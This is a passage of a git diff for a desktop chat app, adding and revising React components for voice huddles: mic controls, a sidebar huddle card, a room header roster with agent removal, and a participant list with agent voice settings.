+      <div className="flex shrink-0 items-center gap-2 justify-self-end">
+        {mode === "main" ? (
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <Button
+                aria-label="Open huddle in a new window"
+                className="buzz-huddle-control-button h-12 w-12 shrink-0 rounded-md"
+                onClick={() => void handleOpenHuddleWindow()}
+                size="icon"
+                type="button"
+                variant="secondary"
+              >
+                <PictureInPicture2 className="h-4 w-4" />
+              </Button>
+            </TooltipTrigger>
+            <TooltipContent className="buzz-huddle-tooltip" side="top">
+              Open huddle window
+            </TooltipContent>
+          </Tooltip>
+        ) : (
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <Button
+                aria-label="Return huddle to drawer"
+                className="buzz-huddle-control-button h-12 w-12 shrink-0 rounded-md"
+                onClick={() => void handleReturnToDrawer()}
+                size="icon"
+                type="button"
+                variant="secondary"
+              >
+                <PictureInPicture className="h-4 w-4" />
+              </Button>
+            </TooltipTrigger>
+            <TooltipContent className="buzz-huddle-tooltip" side="top">
+              Return huddle to drawer
+            </TooltipContent>
+          </Tooltip>
+        )}
+
+        <Button
+          aria-label="Leave huddle"
+          className="h-12 gap-2 px-4"
+          disabled={isLeaving}
+          aria-busy={isLeaving}
+          onClick={() => void handleLeave()}
+          size="sm"
+          variant="destructive"
+        >
+          <PhoneOff className="h-4 w-4" />
+          Leave
+        </Button>
+      </div>
 
       {/* Screen reader announcements for huddle state changes */}
       <output aria-live="polite" className="sr-only">
-        {micConnected
+        {hasAvailableMic
           ? "In huddle, microphone connected"
           : "In huddle, no microphone"}
         {`, voice input: ${isPttMode ? "push to talk, press Ctrl+Space to transmit" : "voice activity detection"}`}
diff --git a/desktop/src/features/huddle/components/HuddleProfileControl.tsx b/desktop/src/features/huddle/components/HuddleProfileControl.tsx
new file mode 100644
index 0000000000..6a09797ba2
--- /dev/null
+++ b/desktop/src/features/huddle/components/HuddleProfileControl.tsx
@@ -0,0 +1,174 @@
+import { invoke } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
+import { Headphones } from "lucide-react";
+import * as React from "react";
+
+import type { Channel } from "@/shared/api/types";
+import { Button } from "@/shared/ui/button";
+import { useHuddle } from "../HuddleContext";
+import { MicControls } from "./MicControls";
+
+type HuddleProfileState = {
+  phase:
+    | "idle"
+    | "creating"
+    | "connecting"
+    | "connected"
+    | "active"
+    | "leaving";
+  parent_channel_id: string | null;
+  ephemeral_channel_id: string | null;
+};
+
+function isVisible(
+  state: HuddleProfileState | null,
+): state is HuddleProfileState {
+  return state?.phase === "connected" || state?.phase === "active";
+}
+
+/** A small huddle presence attached to the profile area in the main app. */
+export function HuddleProfileControl({
+  channels,
+  onHuddleEnded,
+  visible,
+}: {
+  channels: Channel[];
+  onHuddleEnded?: (ephemeralChannelId: string | null) => void;
+  visible: boolean;
+}) {
+  const {
+    audioDevices,
+    isMuted,
+    leaveHuddle,
+    micConnected,
+    micGain,
+    micLevel,
+    selectedDeviceId,
+    setMicGain,
+    setSelectedDeviceId,
+    setVoiceInputMode,
+    toggleMute,
+    voiceInputMode,
+  } = useHuddle();
+  const [isLeaving, setIsLeaving] = React.useState(false);
+  const [state, setState] = React.useState<HuddleProfileState | null>(null);
+  const lastHuddleChannelIdRef = React.useRef<string | null>(null);
+
+  React.useEffect(() => {
+    let disposed = false;
+    let unlisten: (() => void) | null = null;
+
+    void invoke<HuddleProfileState>("get_huddle_state")
+      .then((next) => {
+        if (!disposed) setState(next);
+      })
+      .catch(() => {
+        if (!disposed) setState(null);
+      });
+
+    void listen<HuddleProfileState>("huddle-state-changed", (event) => {
+      if (!disposed) setState(event.payload);
+    }).then((cleanup) => {
+      if (disposed) cleanup();
+      else unlisten = cleanup;
+    });
+
+    return () => {
+      disposed = true;
+      unlisten?.();
+    };
+  }, []);
+
+  React.useEffect(() => {
+    if (state?.ephemeral_channel_id) {
+      lastHuddleChannelIdRef.current = state.ephemeral_channel_id;
+    }
+    if (state?.phase !== "idle" || !lastHuddleChannelIdRef.current) return;
+    onHuddleEnded?.(lastHuddleChannelIdRef.current);
+    lastHuddleChannelIdRef.current = null;
+  }, [onHuddleEnded, state]);
+
+  if (!visible || !isVisible(state)) return null;
+
+  const activeState = state;
+  const channelName = activeState.parent_channel_id
+    ? channels.find((channel) => channel.id === activeState.parent_channel_id)
+        ?.name
+    : null;
+
+  async function handleLeave(event: React.MouseEvent<HTMLButtonElement>) {
+    event.stopPropagation();
+    if (isLeaving) return;
+    setIsLeaving(true);
+    try {
+      await leaveHuddle();
+    } finally {
+      setIsLeaving(false);
+    }
+  }
+
+  async function handleOpenHuddleWindow() {
+    try {
+      await invoke("open_huddle_window");
+    } catch (error) {
+      console.error("Failed to open huddle window:", error);
+    }
+  }
+
+  return (
+    <div
+      className="mb-2 flex min-w-0 items-center gap-2 rounded-xl border border-border/70 bg-background px-4 py-4 text-sidebar-foreground"
+      data-buzz-content-surface
+      data-buzz-content-unframed
+      data-testid="profile-huddle-control"
+    >
+      <Button
+        aria-label="Open huddle window"
+        className="h-auto min-w-0 flex-1 justify-start gap-2 px-0 py-0 text-left hover:bg-transparent"
+        onClick={() => void handleOpenHuddleWindow()}
+        type="button"
+        variant="ghost"
+      >
+        <Headphones
+          aria-hidden="true"
+          className="h-4 w-4 shrink-0 text-emerald-500"
+        />
+        <span className="min-w-0 flex-1">
+          <span className="block truncate text-sm font-medium leading-tight">
+            In a huddle
+          </span>
+          <span className="block truncate text-xs text-sidebar-foreground/65">
+            {channelName ? `#${channelName}` : "Huddle"}
+          </span>
+        </span>
+      </Button>
+      <div className="flex shrink-0 items-center gap-1.5">
+        <MicControls
+          audioDevices={audioDevices}
+          compact
+          isMuted={isMuted}
+          isPttMode={voiceInputMode === "push_to_talk"}
+          micConnected={micConnected}
+          micGain={micGain}
+          micLevel={micLevel}
+          onGainChange={setMicGain}
+          onSelectDevice={setSelectedDeviceId}
+          onSelectVoiceInputMode={setVoiceInputMode}
+          onToggleMute={toggleMute}
+          selectedDeviceId={selectedDeviceId}
+        />
+        <Button
+          aria-busy={isLeaving}
+          aria-label="Leave huddle"
+          className="h-8 px-2 text-sm text-sidebar-foreground/70 hover:bg-destructive/15 hover:text-destructive"
+          disabled={isLeaving}
+          onClick={(event) => void handleLeave(event)}
+          type="button"
+          variant="ghost"
+        >
+          Leave
+        </Button>
+      </div>
+    </div>
+  );
+}
diff --git a/desktop/src/features/huddle/components/HuddleRoomHeader.tsx b/desktop/src/features/huddle/components/HuddleRoomHeader.tsx
new file mode 100644
index 0000000000..17e2bcfacd
--- /dev/null
+++ b/desktop/src/features/huddle/components/HuddleRoomHeader.tsx
@@ -0,0 +1,130 @@
+import { invoke } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
+import * as React from "react";
+
+import { useProfileQuery, useSelfProfileCache } from "@/features/profile/hooks";
+import { useIdentityQuery } from "@/shared/api/hooks";
+import { useHuddle } from "../HuddleContext";
+import type { HuddleAgentVoiceSettings } from "./AgentVoiceMenu";
+import { HuddleParticipantsControl } from "./ParticipantList";
+
+type HuddleRosterState = {
+  phase:
+    | "idle"
+    | "creating"
+    | "connecting"
+    | "connected"
+    | "active"
+    | "leaving";
+  participants: string[];
+  agent_pubkeys: string[];
+  agent_voice_settings: Record<string, HuddleAgentVoiceSettings>;
+  ephemeral_channel_id: string | null;
+};
+
+function isVisible(state: HuddleRosterState | null) {
+  return state?.phase === "connected" || state?.phase === "active";
+}
+
+/** Larger, persistent roster for the companion huddle room window. */
+export function HuddleRoomHeader() {
+  const {
+    activeSpeakers,
+    interruptAgentSpeech,
+    isMuted,
+    micConnected,
+    micLevel,
+    speakerLevels,
+  } = useHuddle();
+  const identityQuery = useIdentityQuery();
+  const profileQuery = useProfileQuery();
+  const selfProfileCache = useSelfProfileCache();
+  const [state, setState] = React.useState<HuddleRosterState | null>(null);
+  const currentPubkey = identityQuery.data?.pubkey ?? null;
+  const participantSpeakerLevels = React.useMemo(() => {
+    const levels = { ...speakerLevels };
+    if (currentPubkey) {
+      levels[currentPubkey.toLowerCase()] =
+        micConnected && !isMuted ? micLevel : 0;
+    }
+    return levels;
+  }, [currentPubkey, isMuted, micConnected, micLevel, speakerLevels]);
+  const handleRemoveAgent = React.useCallback(async (pubkey: string) => {
+    if (!window.confirm("Remove this agent from the huddle?")) return;
+    try {
+      await invoke("remove_agent_from_huddle", {
+        agentPubkey: pubkey,
+      });
+      setState((current) =>
+        current
+          ? {
+              ...current,
+              participants: current.participants.filter(
+                (member) => member !== pubkey,
+              ),
+              agent_pubkeys: current.agent_pubkeys.filter(
+                (agent) => agent !== pubkey,
+              ),
+            }
+          : current,
+      );
+    } catch (error) {
+      console.error("Failed to remove agent from huddle:", error);
+    }
+  }, []);
+
+  React.useEffect(() => {
+    let disposed = false;
+    let unlisten: (() => void) | null = null;
+
+    void invoke<HuddleRosterState>("get_huddle_state")
+      .then((next) => {
+        if (!disposed) setState(next);
+      })
+      .catch(() => {
+        if (!disposed) setState(null);
+      });
+
+    void listen<HuddleRosterState>("huddle-state-changed", (event) => {
+      if (!disposed) setState(event.payload);
+    }).then((cleanup) => {
+      if (disposed) cleanup();
+      else unlisten = cleanup;
+    });
+
+    return () => {
+      disposed = true;
+      unlisten?.();
+    };
+  }, []);
+
+  if (!state || !isVisible(state)) return null;
+
+  return (
+    <header className="flex min-h-24 shrink-0 items-center justify-center border-b border-border/60 bg-background/85 px-6 py-3 backdrop-blur-sm">
+      <HuddleParticipantsControl
+        activeSpeakers={activeSpeakers}
+        speakerLevels={participantSpeakerLevels}
+        agentPubkeys={state.agent_pubkeys}
+        agentVoiceSettings={state.agent_voice_settings}
+        appearance="room"
+        onInterruptAgentSpeech={(agentPubkey) =>
+          void interruptAgentSpeech(agentPubkey)
+        }
+        onRemoveAgent={handleRemoveAgent}
+        participants={state.participants}
+        selfProfile={{
+          avatarUrl:
+            profileQuery.data?.avatarUrl ??
+            selfProfileCache?.avatarDataUrl ??
+            null,
+          displayName:
+            profileQuery.data?.displayName ??
+            identityQuery.data?.displayName ??
+            null,
+          pubkey: currentPubkey,
+        }}
+      />
+    </header>
+  );
+}
diff --git a/desktop/src/features/huddle/components/HuddleStartingView.tsx b/desktop/src/features/huddle/components/HuddleStartingView.tsx
new file mode 100644
index 0000000000..49c379fd43
--- /dev/null
+++ b/desktop/src/features/huddle/components/HuddleStartingView.tsx
@@ -0,0 +1,18 @@
+import { ThemeGrainientBackground } from "@/app/ThemeGrainientBackground";
+import { FlappingBee } from "@/shared/ui/buzz-logo/FlappingBee";
+
+/** Immediate feedback shown while the native huddle session is being prepared. */
+export function HuddleStartingView() {
+  return (
+    <div
+      aria-label="Starting huddle"
+      className="buzz-setup-loading-shell flex min-h-0 flex-1 items-center justify-center overflow-hidden px-6 text-foreground"
+      data-testid="huddle-starting-view"
+      role="status"
+    >
+      <ThemeGrainientBackground />
+      <span className="sr-only">Starting huddle</span>
+      <FlappingBee className="relative z-10 h-auto w-28" />
+    </div>
+  );
+}
diff --git a/desktop/src/features/huddle/components/HuddleTranscriptIntro.tsx b/desktop/src/features/huddle/components/HuddleTranscriptIntro.tsx
new file mode 100644
index 0000000000..11d4cb13d2
--- /dev/null
+++ b/desktop/src/features/huddle/components/HuddleTranscriptIntro.tsx
@@ -0,0 +1,22 @@
+import { MessageCircle } from "lucide-react";
+
+/** Orientation content shown at the top of the companion huddle transcript. */
+export function HuddleTranscriptIntro() {
+  return (
+    <div
+      className="mx-1 flex items-start gap-2.5 rounded-2xl border border-border/60 bg-muted/30 px-2 py-2.5 text-left"
+      data-testid="huddle-transcript-intro"
+    >
+      <span className="flex h-9 w-9 shrink-0 items-center justify-center rounded-full bg-muted text-muted-foreground">
+        <MessageCircle aria-hidden className="h-4 w-4" />
+      </span>
+      <div className="min-w-0">
+        <p className="text-base font-semibold text-foreground">Huddle chat</p>
+        <p className="mt-0.5 max-w-xl text-sm leading-5 text-muted-foreground">
+          Chat with huddle participants and agents. The transcript appears here
+          too.
+        </p>
+      </div>
+    </div>
+  );
+}
diff --git a/desktop/src/features/huddle/components/MicControls.tsx b/desktop/src/features/huddle/components/MicControls.tsx
index f56fd32763..0fcaac5d71 100644
--- a/desktop/src/features/huddle/components/MicControls.tsx
+++ b/desktop/src/features/huddle/components/MicControls.tsx
@@ -13,18 +13,20 @@ import {
   PopoverTrigger,
 } from "@/shared/ui/popover";
 import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+import type { AudioInputDevice } from "../lib/useAudioDevices";
 
 type VoiceInputMode = "push_to_talk" | "voice_activity";
 
 type MicControlsProps = {
+  /** Compact split-button treatment for the sidebar huddle card. */
+  compact?: boolean;
   isMuted: boolean;
   onToggleMute: () => void;
   isPttMode: boolean;
-  pttActive: boolean;
   micConnected: boolean;
   micLevel: number;
   onSelectVoiceInputMode: (mode: VoiceInputMode) => void | Promise<void>;
-  audioDevices: MediaDeviceInfo[];
+  audioDevices: AudioInputDevice[];
   selectedDeviceId: string;
   onSelectDevice: (id: string) => void;
   micGain: number;
@@ -34,6 +36,10 @@ type MicControlsProps = {
 const splitIconButtonClass = "h-12 w-auto shrink-0 rounded-r-none px-4 py-4";
 const splitChevronButtonClass =
   "buzz-huddle-split-chevron group h-12 w-auto shrink-0 rounded-l-none px-2 py-4";
+const mutedHuddleControlClass =
+  "bg-destructive/35 text-destructive shadow-none hover:bg-destructive/45 hover:text-destructive";
+const compactMutedHuddleControlClass =
+  "bg-destructive/15 text-destructive shadow-none hover:bg-destructive/20 hover:text-destructive";
 const MIC_PERMISSION_SETTINGS_URL =
   "x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone";
 
@@ -86,10 +92,10 @@ function usePrefersReducedMotion(): boolean {
 }
 
 export function MicControls({
+  compact = false,
   isMuted,
   onToggleMute,
   isPttMode,
-  pttActive,
   micConnected,
   micLevel,
   onSelectVoiceInputMode,
@@ -100,10 +106,11 @@ export function MicControls({
   onGainChange,
 }: MicControlsProps) {
   const micUnavailable = !micConnected;
-  const showMicMeter = micConnected && !isMuted;
   const isMac = isMacPlatform();
   const prefersReducedMotion = usePrefersReducedMotion();
   const pushToTalkShortcut = isMac ? "⌃Space" : "Ctrl+Space";
+  const isEffectivelyMuted = isMuted;
+  const showMicMeter = micConnected && !isEffectivelyMuted;
   const barHeights: [number, number, number] = prefersReducedMotion
     ? MIC_METER_IDLE_HEIGHTS
     : micMeterHeights(showMicMeter ? micLevel : 0);
@@ -111,22 +118,32 @@ export function MicControls({
 
   const micButtonLabel = micUnavailable
     ? "Microphone unavailable"
-    : isMuted
+    : isEffectivelyMuted
       ? "Unmute microphone"
-      : isPttMode
-        ? "Force mute (overrides PTT)"
-        : "Mute microphone";
+      : "Mute microphone";
+  const micTooltip = micUnavailable
+    ? "Microphone unavailable. Check app permissions or input device."
+    : micButtonLabel;
+  const iconButtonClass = compact
+    ? "h-8 w-8 shrink-0 rounded-l-md rounded-r-none px-0 py-0 text-sidebar-foreground/70 !shadow-none hover:bg-sidebar-foreground/5 hover:text-sidebar-foreground/70"
+    : splitIconButtonClass;
+  const chevronButtonClass = compact
+    ? "buzz-huddle-split-chevron group h-8 w-5 shrink-0 rounded-l-none rounded-r-md border-l border-sidebar-border/80 px-0.5 py-0 text-sidebar-foreground/70 !shadow-none hover:bg-sidebar-foreground/5 hover:text-sidebar-foreground/70"
+    : splitChevronButtonClass;
+  const mutedMicClass =
+    isEffectivelyMuted || micUnavailable
+      ? compact
+        ? compactMutedHuddleControlClass
+        : mutedHuddleControlClass
+      : null;
 
   return (
     <Popover>
       <div
         className={cn(
           "flex items-center rounded-md",
-          isPttMode &&
-            pttActive &&
-            !isMuted &&
-            micConnected &&
-            "ring-2 ring-green-500 ring-offset-1 ring-offset-background",
+          compact &&
+            "overflow-hidden border border-sidebar-border/80 bg-transparent text-sidebar-foreground/70 shadow-none",
         )}
       >
         <Tooltip>
@@ -134,19 +151,26 @@ export function MicControls({
             <Button
               aria-disabled={micUnavailable}
               aria-label={micButtonLabel}
-              aria-pressed={micConnected ? isMuted : true}
+              aria-pressed={micConnected ? isEffectivelyMuted : true}
               className={cn(
-                splitIconButtonClass,
-                !isMuted && !micUnavailable && "buzz-huddle-split-main",
+                iconButtonClass,
+                mutedMicClass,
+                !isEffectivelyMuted &&
+                  !micUnavailable &&
+                  "buzz-huddle-split-main",
               )}
               onClick={() => {
                 if (!micConnected) return;
                 onToggleMute();
               }}
               size="icon"
-              variant={isMuted || micUnavailable ? "destructive" : "secondary"}
+              variant={
+                compact || isEffectivelyMuted || micUnavailable
+                  ? "ghost"
+                  : "secondary"
+              }
             >
-              {isMuted || micUnavailable ? (
+              {isEffectivelyMuted || micUnavailable ? (
                 <MicOff className="h-4 w-4" />
               ) : (
                 <Mic className="h-4 w-4" />
@@ -154,19 +178,26 @@ export function MicControls({
             </Button>
           </TooltipTrigger>
           <TooltipContent className="buzz-huddle-tooltip" side="top">
-            {micUnavailable
-              ? "Microphone unavailable. Check app permissions or input device."
-              : micButtonLabel}
+            {isPttMode && !micUnavailable && isEffectivelyMuted ? (
+              <span className="flex items-center gap-1.5">
+                <span>Click to unmute or hold</span>
+                <kbd className="rounded border border-border/70 bg-muted/70 px-1.5 py-0.5 text-2xs text-muted-foreground">
+                  {pushToTalkShortcut}
+                </kbd>
+              </span>
+            ) : (
+              micTooltip
+            )}
           </TooltipContent>
         </Tooltip>
         <PopoverTrigger asChild>
           <Button
             aria-label="Audio settings"
-            className={splitChevronButtonClass}
+            className={chevronButtonClass}
             size="icon"
-            variant="secondary"
+            variant={compact ? "ghost" : "secondary"}
           >
-            {showMicMeter ? (
+            {showMicMeter && !compact ? (
               <span
                 aria-hidden="true"
                 className="relative flex h-5 w-5 items-center justify-center"
@@ -217,7 +248,7 @@ export function MicControls({
                 className={cn("h-3 w-3 shrink-0", !isPttMode && "invisible")}
               />
               <span className="font-medium">Push to Talk</span>
-              <kbd className="ml-auto rounded border border-foreground/10 px-1.5 py-0.5 text-2xs font-medium text-foreground/60">
+              <kbd className="ml-auto rounded border border-border/70 bg-muted/70 px-1.5 py-0.5 text-2xs font-medium text-muted-foreground">
                 {pushToTalkShortcut}
               </kbd>
             </button>
@@ -367,11 +398,11 @@ export function SpeakerControls({
           aria-pressed={!ttsEnabled}
           className={cn(
             splitIconButtonClass,
-            ttsEnabled && "buzz-huddle-split-main",
+            ttsEnabled ? "buzz-huddle-split-main" : mutedHuddleControlClass,
           )}
           onClick={onToggleTts}
           size="icon"
-          variant={ttsEnabled ? "secondary" : "destructive"}
+          variant={ttsEnabled ? "secondary" : "ghost"}
         >
           {ttsEnabled ? (
             <Volume2 className="h-4 w-4" />
diff --git a/desktop/src/features/huddle/components/ParticipantList.tsx b/desktop/src/features/huddle/components/ParticipantList.tsx
index c445711dfc..2d91c0eada 100644
--- a/desktop/src/features/huddle/components/ParticipantList.tsx
+++ b/desktop/src/features/huddle/components/ParticipantList.tsx
@@ -1,36 +1,226 @@
-import { UsersRound, X } from "lucide-react";
+import { X } from "lucide-react";
 import * as React from "react";
 
+import {
+  useManagedAgentsQuery,
+  useRelayAgentsQuery,
+} from "@/features/agents/hooks";
 import { useUsersBatchQuery } from "@/features/profile/hooks";
 import { ProfileAvatar } from "@/features/profile/ui/ProfileAvatar";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
+import type { VoiceRegistryEntry } from "@/features/settings/ui/voiceSettingsLogic";
+import { invokeTauri } from "@/shared/api/tauri";
 import { cn } from "@/shared/lib/cn";
+import { truncatePubkey } from "@/shared/lib/pubkey";
 import { Button } from "@/shared/ui/button";
 import { Popover, PopoverContent, PopoverTrigger } from "@/shared/ui/popover";
-import { truncatePubkey } from "@/shared/lib/pubkey";
+import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+import {
+  AgentVoiceMenu,
+  type HuddleAgentVoiceSettings,
+} from "./AgentVoiceMenu";
 
 type ParticipantListProps = {
-  /** Pubkey hex strings from the Rust huddle state */
+  /** Pubkey hex strings from the Rust huddle state. */
   participants: string[];
   activeSpeakers?: string[];
-  /** Pubkeys of agent participants — rendered with a bot badge */
+  /** Current per-participant voice levels, normalized to 0–1. */
+  speakerLevels?: Record<string, number>;
+  /** Pubkeys of agent participants. */
   agentPubkeys?: string[];
-  /** Called when the user clicks the remove button on an agent avatar */
+  /** Local, huddle-scoped playback choices for agent participants. */
+  agentVoiceSettings?: Record<string, HuddleAgentVoiceSettings>;
+  /** Called when the user clicks the remove button on an agent avatar. */
   onRemoveAgent?: (pubkey: string) => void;
+  /** Interrupts local TTS playback while this agent is speaking. */
+  onInterruptAgentSpeech?: (pubkey: string) => void;
+  /** The locally loaded profile is authoritative for the current participant. */
+  selfProfile?: {
+    avatarUrl: string | null;
+    displayName: string | null;
+    pubkey: string | null;
+  };
+  appearance?: "bar" | "room";
   className?: string;
 };
 
+const MAX_VISIBLE_PARTICIPANTS = 9;
+
+type ParticipantIdentity = {
+  avatarUrl: string | null;
+  displayName: string;
+  isActive: boolean;
+  isAgent: boolean;
+  pubkey: string;
+  speakerLevel: number;
+};
+
+function buildParticipantIdentities({
+  agentPubkeys,
+  activeSpeakers,
+  speakerLevels,
+  participants,
+  profiles,
+  managedAgents,
+  relayAgents,
+}: {
+  agentPubkeys?: string[];
+  activeSpeakers?: string[];
+  speakerLevels?: Record<string, number>;
+  participants: string[];
+  profiles: Record<
+    string,
+    { avatarUrl: string | null; displayName: string | null }
+  >;
+  managedAgents?: { avatarUrl: string | null; name: string; pubkey: string }[];
+  relayAgents?: { name: string; pubkey: string }[];
+}): ParticipantIdentity[] {
+  const agentSet = new Set(
+    (agentPubkeys ?? []).map((pubkey) => pubkey.toLowerCase()),
+  );
+  const activeSpeakerSet = new Set(
+    (activeSpeakers ?? []).map((pubkey) => pubkey.toLowerCase()),
+  );
+  const normalizedSpeakerLevels = new Map(
+    Object.entries(speakerLevels ?? {}).map(([pubkey, level]) => [
+      pubkey.toLowerCase(),
+      Math.min(1, Math.max(0, level)),
+    ]),
+  );
+  const agentNames = new Map<
+    string,
+    { avatarUrl: string | null; name: string }
+  >();
+
+  for (const agent of relayAgents ?? []) {
+    agentNames.set(agent.pubkey.toLowerCase(), {
+      avatarUrl: null,
+      name: agent.name,
+    });
+  }
+  for (const agent of managedAgents ?? []) {
+    agentNames.set(agent.pubkey.toLowerCase(), {
+      avatarUrl: agent.avatarUrl,
+      name: agent.name,
+    });
+  }
+
+  return participants.map((pubkey) => {
+    const normalizedPubkey = pubkey.toLowerCase();
+    const profile = profiles[normalizedPubkey];
+    const isAgent = agentSet.has(normalizedPubkey);
+    const agent = agentNames.get(normalizedPubkey);
+    const displayName =
+      profile?.displayName?.trim() ||
+      agent?.name?.trim() ||
+      `${isAgent ? "Agent" : "Participant"} ${truncatePubkey(pubkey)}`;
+    const speakerLevel =
+      normalizedSpeakerLevels.get(normalizedPubkey) ??
+      (activeSpeakerSet.has(normalizedPubkey) ? 0.55 : 0);
+
+    return {
+      avatarUrl: profile?.avatarUrl ?? agent?.avatarUrl ?? null,
+      displayName,
+      isActive: activeSpeakerSet.has(normalizedPubkey) || speakerLevel > 0.04,
+      isAgent,
+      pubkey,
+      speakerLevel,
+    };
+  });
+}
+
 export function HuddleParticipantsControl({
   participants,
   activeSpeakers,
+  speakerLevels,
   agentPubkeys,
+  agentVoiceSettings,
   onRemoveAgent,
+  onInterruptAgentSpeech,
+  selfProfile,
+  appearance = "bar",
   className,
 }: ParticipantListProps) {
   const { data } = useUsersBatchQuery(participants);
-  const profiles = data?.profiles ?? {};
-  const agentSet = React.useMemo(
-    () => new Set(agentPubkeys ?? []),
-    [agentPubkeys],
+  const profiles = React.useMemo(() => {
+    const resolvedProfiles: Record<
+      string,
+      { avatarUrl: string | null; displayName: string | null }
+    > = { ...(data?.profiles ?? {}) };
+    const selfPubkey = selfProfile?.pubkey?.toLowerCase();
+    if (selfPubkey && selfProfile) {
+      const resolvedProfile = resolvedProfiles[selfPubkey];
+      resolvedProfiles[selfPubkey] = {
+        avatarUrl: selfProfile.avatarUrl ?? resolvedProfile?.avatarUrl ?? null,
+        displayName:
+          selfProfile.displayName ?? resolvedProfile?.displayName ?? null,
+      };
+    }
+    return resolvedProfiles;
+  }, [data?.profiles, selfProfile]);
+  const hasAgents = (agentPubkeys?.length ?? 0) > 0;
+  const relayAgentsQuery = useRelayAgentsQuery({ enabled: hasAgents });
+  const managedAgentsQuery = useManagedAgentsQuery({ enabled: hasAgents });
+  const [voiceRegistry, setVoiceRegistry] = React.useState<
+    VoiceRegistryEntry[]
+  >([]);
+  const [resolvedAgentVoiceSettings, setResolvedAgentVoiceSettings] =
+    React.useState<Record<string, HuddleAgentVoiceSettings>>(
+      agentVoiceSettings ?? {},
+    );
+  const agentRosterKey = (agentPubkeys ?? []).join(":");
+
+  React.useEffect(() => {
+    if (!hasAgents || !agentRosterKey) {
+      setResolvedAgentVoiceSettings({});
+      return;
+    }
+    let disposed = false;
+    Promise.all([
+      invokeTauri<Record<string, HuddleAgentVoiceSettings>>(
+        "ensure_huddle_agent_voice_settings",
+      ),
+      invokeTauri<VoiceRegistryEntry[]>("list_voice_registry"),
+    ])
+      .then(([settings, registry]) => {
+        if (!disposed) {
+          setResolvedAgentVoiceSettings(settings);
+          setVoiceRegistry(registry);
+        }
+      })
+      .catch((error) => {
+        console.error("Failed to load Huddle agent voices:", error);
+      });
+    return () => {
+      disposed = true;
+    };
+  }, [agentRosterKey, hasAgents]);
+
+  React.useEffect(() => {
+    if (agentVoiceSettings) {
+      setResolvedAgentVoiceSettings(agentVoiceSettings);
+    }
+  }, [agentVoiceSettings]);
+  const identities = React.useMemo(
+    () =>
+      buildParticipantIdentities({
+        agentPubkeys,
+        activeSpeakers,
+        speakerLevels,
+        participants,
+        profiles,
+        managedAgents: managedAgentsQuery.data,
+        relayAgents: relayAgentsQuery.data,
+      }),
+    [
+      agentPubkeys,
+      activeSpeakers,
+      speakerLevels,
+      managedAgentsQuery.data,
+      participants,
+      profiles,
+      relayAgentsQuery.data,
+    ],
   );
 
   if (participants.length === 0) return null;
@@ -39,128 +229,231 @@ export function HuddleParticipantsControl({
     participants.length === 1
       ? "1 participant"
       : `${participants.length} participants`;
+  const visibleIdentities = identities.slice(0, MAX_VISIBLE_PARTICIPANTS);
+  const hiddenParticipantCount = identities.length - visibleIdentities.length;
+  const participantDetails = (
+    <PopoverContent
+      align="end"
+      className="buzz-huddle-drawer buzz-huddle-popover w-72 p-3 text-foreground"
+      side={appearance === "room" ? "bottom" : "top"}
+      sideOffset={10}
+    >
+      <div className="mb-3 flex items-center justify-between gap-3">
+        <h2 className="text-sm font-medium">Participants</h2>
+        <span className="shrink-0 text-xs text-foreground/60">
+          {participantLabel}
+        </span>
+      </div>
+      <ul className="flex max-h-64 list-none flex-col gap-1 overflow-y-auto">
+        {identities.map((participant) => {
+          const { displayName, isActive, isAgent, pubkey } = participant;
 
-  return (
-    <Popover>
-      <PopoverTrigger asChild>
-        <Button
-          aria-label={`Show huddle participants (${participants.length})`}
-          className={cn(
-            "buzz-huddle-control-button relative h-12 w-12 shrink-0 rounded-md p-0",
-            className,
-          )}
-          size="icon"
-          type="button"
-          variant="secondary"
-        >
-          <UsersRound className="h-4 w-4" />
-          {participants.length > 1 && (
-            <span className="absolute -right-1 -top-1 flex h-4 min-w-4 items-center justify-center rounded-full bg-primary px-1 text-2xs font-semibold leading-none text-primary-foreground shadow-xs tabular-nums">
-              {participants.length}
-            </span>
-          )}
-        </Button>
-      </PopoverTrigger>
-      <PopoverContent
-        align="start"
-        className="buzz-huddle-drawer buzz-huddle-popover w-72 p-3 text-foreground"
-        side="top"
-        sideOffset={10}
-      >
-        <div className="mb-3 flex items-center justify-between gap-3">
-          <h2 className="text-sm font-medium">Participants</h2>
-          <span className="shrink-0 text-xs text-foreground/60">
-            {participantLabel}
-          </span>
-        </div>
-        <ul className="flex max-h-64 list-none flex-col gap-1 overflow-y-auto">
-          {participants.map((pubkey) => {
-            const profile = profiles[pubkey.toLowerCase()];
-            const displayName =
-              profile?.displayName || `Participant ${truncatePubkey(pubkey)}`;
-            const isActive = activeSpeakers?.includes(pubkey);
-            const isAgent = agentSet.has(pubkey);
-
-            return (
-              <li
-                className="flex min-w-0 items-center gap-2 rounded-md px-2 py-1.5"
-                key={pubkey}
+          return (
+            <li
+              className="flex min-w-0 items-center gap-2 rounded-md px-2 py-1.5"
+              key={pubkey}
+            >
+              <UserProfilePopover
+                pubkey={pubkey}
+                triggerAriaLabel={`Open profile for ${displayName}`}
+                triggerElement="span"
               >
-                {profile?.displayName || profile?.avatarUrl ? (
-                  <ProfileAvatar
-                    avatarUrl={profile.avatarUrl ?? null}
-                    label={profile.displayName || pubkey.slice(0, 6)}
-                    className={cn(
-                      "h-8 w-8 rounded-full text-2xs",
-                      isActive &&
-                        "ring-2 ring-green-500 ring-offset-1 ring-offset-background",
-                    )}
-                  />
-                ) : (
-                  <HexAvatar pubkey={pubkey} isActive={isActive} size="lg" />
-                )}
-
-                <div className="min-w-0 flex-1">
-                  <div className="truncate text-sm font-medium">
-                    {displayName}
-                  </div>
-                  <div className="truncate text-xs text-foreground/60">
-                    {isActive ? "Speaking" : isAgent ? "Agent" : "In huddle"}
-                  </div>
+                <ParticipantAvatar participant={participant} size="list" />
+              </UserProfilePopover>
+
+              <div className="min-w-0 flex-1">
+                <div className="truncate text-sm font-medium">
+                  {displayName}
+                </div>
+                <div className="truncate text-xs text-foreground/60">
+                  {isActive ? "Speaking" : isAgent ? "Agent" : "In huddle"}
                 </div>
+              </div>
+
+              {isAgent && onRemoveAgent && (
+                <Button
+                  aria-label={`Remove ${displayName} from huddle`}
